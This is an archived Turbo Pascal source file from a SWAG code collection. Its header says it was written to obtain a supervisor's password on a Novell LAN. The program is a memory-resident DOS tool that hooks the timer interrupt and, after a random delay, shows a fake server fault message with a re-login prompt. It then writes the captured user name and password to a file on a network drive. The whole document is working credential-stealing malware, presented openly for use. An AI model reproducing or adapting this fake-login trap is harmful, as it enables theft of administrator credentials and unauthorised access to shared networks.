[Back to NUMBERS SWAG index] [Back to Main SWAG index] [Original]

    {
    From: BERO@flash.gun.de (Bernhard Rosenkraenzer)

    A friend of mine wrote it to obtain his supervisor's password for a novell
    lan.
    }

    program Interrupt_Netkill;
    {$M $800,0,0}
    uses Crt,Dos;
    type scr=Array[0..79,0..24,0..1] of Byte;
    var OldInt:Procedure;
        Counter:Word;
        Zufall:Word;
        Screen:Scr absolute $B800:0000;
        SaveScreen:Scr;
        Logname,Password:String;
        DosSeg,DosBusy:word;
        tsr_on:boolean;
    const oldstackss:word=0;
          oldstacksp:word=0;
          stacksw:integer=-1;
          intstackss:word=0;
          intstacksp:word=0;
    {$F+}
    {$I-}
    Procedure Input(var s:string);
    var c:char; ende:boolean;
    begin
      s:='';
      ende:=false;
      repeat
        repeat until keypressed;
        c:=readkey;
        IF c=chr(13) then
          ende:=true
        else IF c=chr(8) then begin
          if length(s)>0 then Dec(s[0]) end
        else s:=s+c;
      until ende;
    end;
    Procedure DoJob;
    var f:text;
    begin
      SaveScreen:=Screen;
      GotoXY(1,24);
      TextColor(Red);
      Writeln('General protection fault #317 at SERVER1/');
      Writeln('NETIPX created a GPF at 0013:014C');
      Writeln('Re-login to continue your work:');
      Write('Login-Name: ');
      Readln(logname);
      Write('Password: ');
      Input(Password);
      Writeln;
      Writeln('Stand by...');
      Assign(f,'F:\ALLE\GOT_IT!.TXT');
      Append(f);
      IF IOResult<>0 then Rewrite(f);
      Writeln(f,logname,' logged in with password ',password);
      Close(f);
      asm cli end;
      SetIntVec(8,@OldInt);
      asm sti end;
      Screen:=SaveScreen;
    end;
    procedure Int;interrupt;
    begin
      asm cli
          inc word ptr [stacksw]
          jnz @a
          mov [oldstackss],ss
          mov [oldstacksp],sp
          mov ss,[intstackss]
          mov sp,[intstacksp]
          @a: sti
      end;
      If Counter<Zufall then Inc(Counter);
      If (Counter=Zufall) and (tsr_on=false) and (mem[DosSeg:DosBusy]=0) then begin
        tsr_on:=true;
        Port[$20]:=$20;
        DoJob;
        tsr_on:=false;
      End;
      asm cli
          dec word ptr [stacksw]
          jge @b
          mov ss,oldstackss
          mov sp,oldstacksp
          @b: sti
          pushf end;
      OldInt;
    end;
    procedure InitTSR;
    begin
      tsr_on:=false;
      IntStackSS:=SSEG;
      asm mov [IntStackSP],SP
          mov ah,$34
          int $21
          mov [DosSeg],ES
          mov [DosBusy],BX
      end;
    end;
    begin
      SwapVectors;
      randomize; Zufall:=Random(5000)+1000; Counter:=0;
      InitTSR;
      GetIntVec(8,@OldInt);
      SetIntVec(8,@Int);
      Keep(0);
    end.

[Back to NUMBERS SWAG index] [Back to Main SWAG index] [Original]